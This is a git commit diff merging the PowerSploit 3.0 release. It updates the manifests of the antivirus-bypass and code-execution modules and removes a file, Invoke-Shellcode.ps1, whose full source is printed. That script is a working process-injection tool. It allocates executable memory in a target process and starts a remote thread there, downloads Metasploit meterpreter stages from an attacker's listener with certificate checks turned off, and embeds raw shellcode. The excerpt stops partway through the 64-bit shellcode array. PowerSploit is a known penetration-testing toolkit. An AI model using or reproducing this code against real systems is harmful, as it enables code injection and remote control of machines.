Merge pull request #102 from PowerShellMafia/dev

Merge 3.0 release changes
This commit is contained in:
PowerShellMafia 2015-12-18 16:33:59 -08:00
commit 9e771d15bf
43 changed files with 16560 additions and 1615 deletions

View File

@ -4,7 +4,7 @@
ModuleToProcess = 'AntivirusBypass.psm1' ModuleToProcess = 'AntivirusBypass.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
@ -12,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
@ -24,64 +21,10 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
} }

View File

@ -4,7 +4,7 @@
ModuleToProcess = 'CodeExecution.psm1' ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c' GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
} }

View File

@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName} Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}

View File

@ -1,763 +0,0 @@
function Invoke-Shellcode
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Proxy
Optionally specifies whether to utilize the proxy settings on the machine.
.PARAMETER Legacy
Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future.
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Legacy = $False,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Proxy = $False,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation.
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
}
}
if ($Legacy)
{
# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
} else {
# Generate a URI that passes the test
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
$SumTest = $False
while ($SumTest -eq $False)
{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
$RequestUri = -join $GeneratedUri
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
}
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
if ($Proxy)
{
$WebProxyObject = New-Object System.Net.WebProxy
$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
# if there is no proxy set, then continue without it
if ($ProxyAddress)
{
$WebProxyObject.Address = $ProxyAddress
$WebProxyObject.UseDefaultCredentials = $True
$WebClientObject.Proxy = $WebProxyObject
}
}
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
